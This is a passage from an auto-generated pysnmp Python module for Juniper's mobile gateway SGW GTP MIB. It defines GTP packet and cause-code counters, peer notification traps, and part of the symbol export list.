mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDtForNtSupRx.setDescription('Number of GTP packets received with cause Data forwarding not supported.') jnxMbgSgwIfGtpV2ICsDtForNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 194), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDtForNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDtForNtSupTx.setDescription('Number of GTP packets sent with cause Data forwarding not supported.') jnxMbgSgwIfGtpV2ICsInReFRePrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 195), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInReFRePrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInReFRePrRx.setDescription('Number of GTP packets received with cause Invalid Reply from Remote peer.') jnxMbgSgwIfGtpV2ICsInReFRePrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 196), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInReFRePrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInReFRePrTx.setDescription('Number of GTP packets sent with cause Invalid Reply from Remote peer.') jnxMbgSgwIfGtpV2ICsInvPrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 197), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvPrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvPrRx.setDescription('Number of GTP packets received with cause Invalid peer.') jnxMbgSgwIfGtpV2ICsInvPrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 198), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvPrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvPrTx.setDescription('Number of GTP packets sent with cause Invalid peer.') jnxMbgSgwIfGtpV1ProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 199), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ProtocolErrRx.setDescription('Number of GTPv1 Protocol Errors Received.') jnxMbgSgwIfGtpV1UnSupMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 200), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1UnSupMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1UnSupMsgRx.setDescription('Number of GTPv1 Unsupported Messages received.') jnxMbgSgwIfGtpV1T3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 201), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1T3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1T3RespTmrExpRx.setDescription('Number of GTP V1 T3 timer expiries Received.') jnxMbgSgwIfGtpV1EndMarkerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 202), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EndMarkerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EndMarkerRx.setDescription('Number of GTP V1 end marker packets received.') jnxMbgSgwIfGtpV1EndMarkerTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 203), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EndMarkerTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EndMarkerTx.setDescription('Number of GTP V1 end marker packets sent.') jnxMbgSgwIfGtpV1EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 204), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoReqRx.setDescription('Number of GTP V1 echo request packets received.') jnxMbgSgwIfGtpV1EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 205), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoReqTx.setDescription('Number of GTP V1 echo request packets sent.') jnxMbgSgwIfGtpV1EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 206), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoRespRx.setDescription('Number of GTP V1 echo response packets received.') jnxMbgSgwIfGtpV1EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 207), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1EchoRespTx.setDescription('Number of GTP V1 echo response packets sent.') jnxMbgSgwIfGtpV1ErrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 208), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ErrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ErrIndRx.setDescription('Number of GTP packets V1 Error Indication packets received.') jnxMbgSgwIfGtpV1ErrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 209), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ErrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV1ErrIndTx.setDescription('Number of GTP packets V1 Error Indication packets sent.') jnxMbgSgwIfSuspNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 210), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfSuspNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfSuspNotifRx.setDescription('Number of GTPv2 Suspend Notification messages received.') jnxMbgSgwIfSuspNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 211), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfSuspNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfSuspNotifTx.setDescription('Number of GTPv2 Suspend Notification messages sent.') jnxMbgSgwIfSuspAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 212), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfSuspAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfSuspAckRx.setDescription('Number of GTPv2 Suspend Acknowledgement messages received.') jnxMbgSgwIfSuspAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 213), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfSuspAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfSuspAckTx.setDescription('Number of GTPv2 Suspend Acknowledgement messages sent.') jnxMbgSgwIfResumeNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 214), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfResumeNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfResumeNotifRx.setDescription('Number of GTPv2 Resume Notification messages received.') jnxMbgSgwIfResumeNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 215), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfResumeNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfResumeNotifTx.setDescription('Number of GTPv2 Resume Notification messages sent.') jnxMbgSgwIfResumeAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 216), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfResumeAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfResumeAckRx.setDescription('Number of GTPv2 Resume Acknowledgement messages received.') jnxMbgSgwIfResumeAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 217), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfResumeAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfResumeAckTx.setDescription('Number of GTPv2 Resume Acknowledgement messages sent.') jnxMbgSgwIfPiggybackMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 218), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfPiggybackMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfPiggybackMsgRx.setDescription('Number of GTPv2 Piggyback messages received.') jnxMbgSgwIfPiggybackMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 219), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfPiggybackMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfPiggybackMsgTx.setDescription('Number of GTPv2 S11 Piggyback messages sent.') jnxMbgSgwGtpNotificationVars = MibIdentifier((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3)) jnxMbgSgwGtpPeerName = MibScalar((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3, 1), DisplayString()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: jnxMbgSgwGtpPeerName.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPeerName.setDescription('GTP Peer Name/IP') jnxMbgSgwGtpAlarmStatCounter = MibScalar((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3, 2), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: jnxMbgSgwGtpAlarmStatCounter.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpAlarmStatCounter.setDescription('Current Value of (Alarm) Statistics Counter eg: in jnxMbgSgwGtpPrDNTPerPrAlrmActv it spefies the number of times peer is down with in the monitoring interval') jnxMbgSgwGtpInterfaceType = MibScalar((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3, 3), DisplayString()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: jnxMbgSgwGtpInterfaceType.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpInterfaceType.setDescription('GTP Interface Type which can be one of S5/S8/S11/S1U/S12/S4') jnxMbgSgwGtpGwName = MibScalar((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3, 4), DisplayString()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: jnxMbgSgwGtpGwName.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpGwName.setDescription('A string that indicates the gateway name') jnxMbgSgwGtpGwIndex = MibScalar((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 3, 5), Unsigned32()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: jnxMbgSgwGtpGwIndex.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpGwIndex.setDescription('Current Gateway ID value') jnxMbgSgwGtpPeerGwUpNotif = NotificationType((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 0, 1)).setObjects(("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwIndex"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpInterfaceType"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpPeerName")) if mibBuilder.loadTexts: jnxMbgSgwGtpPeerGwUpNotif.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPeerGwUpNotif.setDescription('GTPC Peer UP Notification. This trap is sent when a new peer is added or an existing peer goes down and comes back up.') jnxMbgSgwGtpPeerGwDnNotif = NotificationType((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 0, 2)).setObjects(("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwIndex"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpInterfaceType"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpPeerName")) if mibBuilder.loadTexts: jnxMbgSgwGtpPeerGwDnNotif.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPeerGwDnNotif.setDescription('GTPC Peer Down Notification. This trap is sent when a peer connection goes down.') jnxMbgSgwGtpPrDnTPerPrAlrmActv = NotificationType((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 0, 3)).setObjects(("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwIndex"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpInterfaceType"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpPeerName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpAlarmStatCounter")) if mibBuilder.loadTexts: jnxMbgSgwGtpPrDnTPerPrAlrmActv.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPrDnTPerPrAlrmActv.setDescription('Peer down Threshold trap Active. This is sent when a peer connection flaps for more than a higher threshold number of times with in a monitor interval.') jnxMbgSgwGtpPrDnTPerPrAlrmClr = NotificationType((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 0, 4)).setObjects(("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwIndex"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpGwName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpInterfaceType"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpPeerName"), ("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwGtpAlarmStatCounter")) if mibBuilder.loadTexts: jnxMbgSgwGtpPrDnTPerPrAlrmClr.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPrDnTPerPrAlrmClr.setDescription('Peer down Threshold trap Cleared. This is sent when the number of times a peer connection flaps in a monitor interval come down below the lower threshold.') mibBuilder.exportSymbols("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", jnxMbgSgwIfGtpV2ICsPkFltManErRx=jnxMbgSgwIfGtpV2ICsPkFltManErRx, jnxMbgSgwGtpV2ICsGREKeyNtFdTx=jnxMbgSgwGtpV2ICsGREKeyNtFdTx, jnxMbgSgwPPIPProtoErrRx=jnxMbgSgwPPIPProtoErrRx, jnxMbgSgwCrtBrReqRx=jnxMbgSgwCrtBrReqRx, jnxMbgSgwPPV2NumMsgRx=jnxMbgSgwPPV2NumMsgRx, jnxMbgSgwPPGtpV2ICsTFTSMANTErRx=jnxMbgSgwPPGtpV2ICsTFTSMANTErRx, jnxMbgSgwIPProtoErrRx=jnxMbgSgwIPProtoErrRx, jnxMbgSgwPPModBrCmdRx=jnxMbgSgwPPModBrCmdRx, jnxMbgSgwGtpPeerGwUpNotif=jnxMbgSgwGtpPeerGwUpNotif, jnxMbgSgwPPGtpV2ICsCtxNotFndTx=jnxMbgSgwPPGtpV2ICsCtxNotFndTx, jnxMbgSgwGtpMib=jnxMbgSgwGtpMib, jnxMbgSgwIfUnSupportedMsgRx=jnxMbgSgwIfUnSupportedMsgRx, jnxMbgSgwPPGtpV2ICsOptIEIncorTx=jnxMbgSgwPPGtpV2ICsOptIEIncorTx, jnxMbgSgwIfGtpV1ErrIndTx=jnxMbgSgwIfGtpV1ErrIndTx, jnxMbgSgwGtpV2ICsUERefusesRx=jnxMbgSgwGtpV2ICsUERefusesRx, jnxMbgSgwPPCreateSessReqRx=jnxMbgSgwPPCreateSessReqRx, jnxMbgSgwPcktLenErrRx=jnxMbgSgwPcktLenErrRx, jnxMbgSgwGtpV2ICsOptIEIncorrTx=jnxMbgSgwGtpV2ICsOptIEIncorrTx, jnxMbgSgwPPGtpV2ICsSysFailTx=jnxMbgSgwPPGtpV2ICsSysFailTx, jnxMbgSgwGtpV2ICsUENotRespTx=jnxMbgSgwGtpV2ICsUENotRespTx, jnxMbgSgwIfGtpV2ICsManIEMissTx=jnxMbgSgwIfGtpV2ICsManIEMissTx, jnxMbgSgwPPGtpV2ICsAPNAcsDenTx=jnxMbgSgwPPGtpV2ICsAPNAcsDenTx, jnxMbgSgwPPGtpV2ICsEIFRNCEnTx=jnxMbgSgwPPGtpV2ICsEIFRNCEnTx, jnxMbgSgwPPGtpV2ICsNoResRx=jnxMbgSgwPPGtpV2ICsNoResRx, jnxMbgSgwGtpV2ICsOptIEIncorrRx=jnxMbgSgwGtpV2ICsOptIEIncorrRx, jnxMbgSgwPPUpdConnSetReqTx=jnxMbgSgwPPUpdConnSetReqTx, jnxMbgSgwUnSupportedMsgRx=jnxMbgSgwUnSupportedMsgRx, jnxMbgSgwRelAcsBrReqTx=jnxMbgSgwRelAcsBrReqTx, jnxMbgSgwPPDelBrCmdRx=jnxMbgSgwPPDelBrCmdRx, jnxMbgSgwIfCrIndTunRespTx=jnxMbgSgwIfCrIndTunRespTx, jnxMbgSgwPPCrIndTunRespRx=jnxMbgSgwPPCrIndTunRespRx, jnxMbgSgwIfGtpV2ICsTFTSMANTErRx=jnxMbgSgwIfGtpV2ICsTFTSMANTErRx, jnxMbgSgwPPModBrCmdTx=jnxMbgSgwPPModBrCmdTx, jnxMbgSgwPPGtpV2ICsNOTFTUECTXRx=jnxMbgSgwPPGtpV2ICsNOTFTUECTXRx, jnxMbgSgwIfGtpV2ICsAcceptPartRx=jnxMbgSgwIfGtpV2ICsAcceptPartRx, jnxMbgSgwPPGtpV2ICsInvPrRx=jnxMbgSgwPPGtpV2ICsInvPrRx, PYSNMP_MODULE_ID=jnxMbgSgwGtpMib, jnxMbgSgwGtpV2ICsAPNAcsDenTx=jnxMbgSgwGtpV2ICsAPNAcsDenTx, jnxMbgSgwPPGTPUnknVerRx=jnxMbgSgwPPGTPUnknVerRx, jnxMbgSgwPPGtpV2ICsRATChgRx=jnxMbgSgwPPGtpV2ICsRATChgRx, jnxMbgSgwPPGtpV2ICsAcceptPartTx=jnxMbgSgwPPGtpV2ICsAcceptPartTx, jnxMbgSgwPPGtpV2ICsRATChgTx=jnxMbgSgwPPGtpV2ICsRATChgTx, jnxMbgSgwGtpV2ICsServDeniedTx=jnxMbgSgwGtpV2ICsServDeniedTx, jnxMbgSgwIfGtpV2ICsInvPrRx=jnxMbgSgwIfGtpV2ICsInvPrRx, jnxMbgSgwIfCrIndTunReqTx=jnxMbgSgwIfCrIndTunReqTx, jnxMbgSgwRelAcsBrRespRx=jnxMbgSgwRelAcsBrRespRx, jnxMbgSgwCreateSessRspTx=jnxMbgSgwCreateSessRspTx, jnxMbgSgwUpdBrRspTx=jnxMbgSgwUpdBrRspTx, jnxMbgSgwPPRxPacketsDropped=jnxMbgSgwPPRxPacketsDropped, jnxMbgSgwDelBrCmdRx=jnxMbgSgwDelBrCmdRx, jnxMbgSgwGtpV2ICsLclDetRx=jnxMbgSgwGtpV2ICsLclDetRx, jnxMbgSgwPPStopPagingIndTx=jnxMbgSgwPPStopPagingIndTx, jnxMbgSgwGtpPrDnTPerPrAlrmClr=jnxMbgSgwGtpPrDnTPerPrAlrmClr, jnxMbgSgwPPModBrRspRx=jnxMbgSgwPPModBrRspRx, jnxMbgSgwPPUpdBrReqRx=jnxMbgSgwPPUpdBrReqRx, jnxMbgSgwGtpV2ICsPTMSISigMMTx=jnxMbgSgwGtpV2ICsPTMSISigMMTx, jnxMbgSgwPPGtpV2ICsMisUnknAPNTx=jnxMbgSgwPPGtpV2ICsMisUnknAPNTx, jnxMbgSgwGtpV2ICsReqRejTx=jnxMbgSgwGtpV2ICsReqRejTx, jnxMbgSgwGtpV2ICsCtxNotFndRx=jnxMbgSgwGtpV2ICsCtxNotFndRx, jnxMbgSgwIfCrtBrReqTx=jnxMbgSgwIfCrtBrReqTx, jnxMbgSgwIfResumeAckTx=jnxMbgSgwIfResumeAckTx, jnxMbgSgwV2NumMsgTx=jnxMbgSgwV2NumMsgTx, jnxMbgSgwPPGtpV2ICsGREKeyNtFdTx=jnxMbgSgwPPGtpV2ICsGREKeyNtFdTx, jnxMbgSgwPPGtpV2ICsInvMsgFmtRx=jnxMbgSgwPPGtpV2ICsInvMsgFmtRx, jnxMbgSgwIfGtpV2ICsInvTotLenTx=jnxMbgSgwIfGtpV2ICsInvTotLenTx, jnxMbgSgwIfGtpV2ICsGREKeyNtFdTx=jnxMbgSgwIfGtpV2ICsGREKeyNtFdTx, jnxMbgSgwPPGtpV2ICsIMSINotKnTx=jnxMbgSgwPPGtpV2ICsIMSINotKnTx, jnxMbgSgwGtpV2ICsUnknownRx=jnxMbgSgwGtpV2ICsUnknownRx, jnxMbgSgwUpdConnSetRspTx=jnxMbgSgwUpdConnSetRspTx, jnxMbgSgwCreateSessReqRx=jnxMbgSgwCreateSessReqRx, jnxMbgSgwGtpV2ICsInvTotLenRx=jnxMbgSgwGtpV2ICsInvTotLenRx, jnxMbgSgwDelBrReqRx=jnxMbgSgwDelBrReqRx, jnxMbgSgwIfV2EchoRespTx=jnxMbgSgwIfV2EchoRespTx, jnxMbgSgwIfGtpV2ICsVerNotSuppTx=jnxMbgSgwIfGtpV2ICsVerNotSuppTx, jnxMbgSgwIfGtpV2ICsRPrNtRspRx=jnxMbgSgwIfGtpV2ICsRPrNtRspRx, jnxMbgSgwIfGtpV2ICsUnexpRptIETx=jnxMbgSgwIfGtpV2ICsUnexpRptIETx, jnxMbgSgwGtpV2ICsRelocFailTx=jnxMbgSgwGtpV2ICsRelocFailTx, jnxMbgSgwGtpV2ICsAllDynAdOccRx=jnxMbgSgwGtpV2ICsAllDynAdOccRx, jnxMbgSgwPPDelSessReqTx=jnxMbgSgwPPDelSessReqTx, jnxMbgSgwDelSessReqRx=jnxMbgSgwDelSessReqRx, jnxMbgSgwPPResumeAckTx=jnxMbgSgwPPResumeAckTx, jnxMbgSgwPPGtpV2ICsSynErTADTx=jnxMbgSgwPPGtpV2ICsSynErTADTx, jnxMbgSgwGtpV2ICsUserAUTHFlRx=jnxMbgSgwGtpV2ICsUserAUTHFlRx, jnxMbgSgwIfGtpV2ICsCmpDetTx=jnxMbgSgwIfGtpV2ICsCmpDetTx, jnxMbgSgwGtpV2ICsDtForNtSupRx=jnxMbgSgwGtpV2ICsDtForNtSupRx, jnxMbgSgwIfGtpV2ICsUnabPageUERx=jnxMbgSgwIfGtpV2ICsUnabPageUERx, jnxMbgSgwPPGtpV2ICsProtoNtSupRx=jnxMbgSgwPPGtpV2ICsProtoNtSupRx, jnxMbgSgwV2VerNotSupTx=jnxMbgSgwV2VerNotSupTx, jnxMbgSgwGtpV2ICsInReFRePrRx=jnxMbgSgwGtpV2ICsInReFRePrRx, jnxMbgSgwIfGtpV2ICsSysFailRx=jnxMbgSgwIfGtpV2ICsSysFailRx, jnxMbgSgwIfGtpV2ICsInReFRePrTx=jnxMbgSgwIfGtpV2ICsInReFRePrTx, jnxMbgSgwPPDlDataNotifTx=jnxMbgSgwPPDlDataNotifTx, jnxMbgSgwIfGtpV2ICsRelocFailRx=jnxMbgSgwIfGtpV2ICsRelocFailRx, jnxMbgSgwDelConnSetRspTx=jnxMbgSgwDelConnSetRspTx, jnxMbgSgwT3RespTmrExpRx=jnxMbgSgwT3RespTmrExpRx, jnxMbgSgwStopPagingIndRx=jnxMbgSgwStopPagingIndRx, jnxMbgSgwDelSessReqTx=jnxMbgSgwDelSessReqTx, jnxMbgSgwGtpV2ICsTFTSysErrRx=jnxMbgSgwGtpV2ICsTFTSysErrRx, jnxMbgSgwPPRelAcsBrRespRx=jnxMbgSgwPPRelAcsBrRespRx, jnxMbgSgwIfDelSessReqRx=jnxMbgSgwIfDelSessReqRx, jnxMbgSgwGtpV2ICsReqAcceptTx=jnxMbgSgwGtpV2ICsReqAcceptTx, jnxMbgSgwPPRelAcsBrRespTx=jnxMbgSgwPPRelAcsBrRespTx, jnxMbgSgwIfGtpV1EchoRespTx=jnxMbgSgwIfGtpV1EchoRespTx, jnxMbgSgwGtpV2ICsAcceptPartTx=jnxMbgSgwGtpV2ICsAcceptPartTx, jnxMbgSgwIfModBrReqRx=jnxMbgSgwIfModBrReqRx, jnxMbgSgwGtpCGlbStatsTable=jnxMbgSgwGtpCGlbStatsTable, jnxMbgSgwGtpV2ICsPkFltSynErrTx=jnxMbgSgwGtpV2ICsPkFltSynErrTx, jnxMbgSgwIfDelBrRspTx=jnxMbgSgwIfDelBrRspTx, jnxMbgSgwV2EchoReqRx=jnxMbgSgwV2EchoReqRx, jnxMbgSgwPPGtpV1EchoReqTx=jnxMbgSgwPPGtpV1EchoReqTx, jnxMbgSgwPPGtpV2ICsUERefusesRx=jnxMbgSgwPPGtpV2ICsUERefusesRx, jnxMbgSgwGtpV2ICsInReFRePrTx=jnxMbgSgwGtpV2ICsInReFRePrTx, jnxMbgSgwIfGtpV2ICsSrvNotSuppRx=jnxMbgSgwIfGtpV2ICsSrvNotSuppRx, jnxMbgSgwPPDelBrRspTx=jnxMbgSgwPPDelBrRspTx, jnxMbgSgwResumeAckRx=jnxMbgSgwResumeAckRx, jnxMbgSgwPPPacketAllocFail=jnxMbgSgwPPPacketAllocFail, jnxMbgSgwPPGtpV2ICsDenINRatTx=jnxMbgSgwPPGtpV2ICsDenINRatTx, jnxMbgSgwUnknMsgRx=jnxMbgSgwUnknMsgRx, jnxMbgSgwPPDelIndTunRespTx=jnxMbgSgwPPDelIndTunRespTx, jnxMbgSgwIfGtpV2ICsUnexpRptIERx=jnxMbgSgwIfGtpV2ICsUnexpRptIERx, jnxMbgSgwIfCrtBrRspTx=jnxMbgSgwIfCrtBrRspTx, jnxMbgSgwGtpV2ICsNewPTNPrefTx=jnxMbgSgwGtpV2ICsNewPTNPrefTx, jnxMbgSgwIfGtpV2ICsUnknownRx=jnxMbgSgwIfGtpV2ICsUnknownRx, jnxMbgSgwGtpPrDnTPerPrAlrmActv=jnxMbgSgwGtpPrDnTPerPrAlrmActv, jnxMbgSgwPPGtpV2ICsPkFltManErRx=jnxMbgSgwPPGtpV2ICsPkFltManErRx, jnxMbgSgwPPGtpV2ICsNPTSIAdbrTx=jnxMbgSgwPPGtpV2ICsNPTSIAdbrTx, jnxMbgSgwIfDelBrFlrIndTx=jnxMbgSgwIfDelBrFlrIndTx, jnxMbgSgwIfGtpV2ICsPkFltManErTx=jnxMbgSgwIfGtpV2ICsPkFltManErTx, jnxMbgSgwStopPagingIndTx=jnxMbgSgwStopPagingIndTx, jnxMbgSgwGtpV2ICsProtoNtSupTx=jnxMbgSgwGtpV2ICsProtoNtSupTx, jnxMbgSgwIfRelAcsBrReqRx=jnxMbgSgwIfRelAcsBrReqRx, jnxMbgSgwGtpV2ICsCmpDetRx=jnxMbgSgwGtpV2ICsCmpDetRx, jnxMbgSgwIfDelBrRspRx=jnxMbgSgwIfDelBrRspRx, jnxMbgSgwPPDelIndTunRespRx=jnxMbgSgwPPDelIndTunRespRx, jnxMbgSgwPPGtpV1UnSupMsgRx=jnxMbgSgwPPGtpV1UnSupMsgRx, jnxMbgSgwPPGtpV1EchoReqRx=jnxMbgSgwPPGtpV1EchoReqRx, jnxMbgSgwIfGtpV2ICsPkFltSynErTx=jnxMbgSgwIfGtpV2ICsPkFltSynErTx, jnxMbgSgwIfCrIndTunReqRx=jnxMbgSgwIfCrIndTunReqRx, jnxMbgSgwGtpV2ICsManIEIncorrTx=jnxMbgSgwGtpV2ICsManIEIncorrTx, 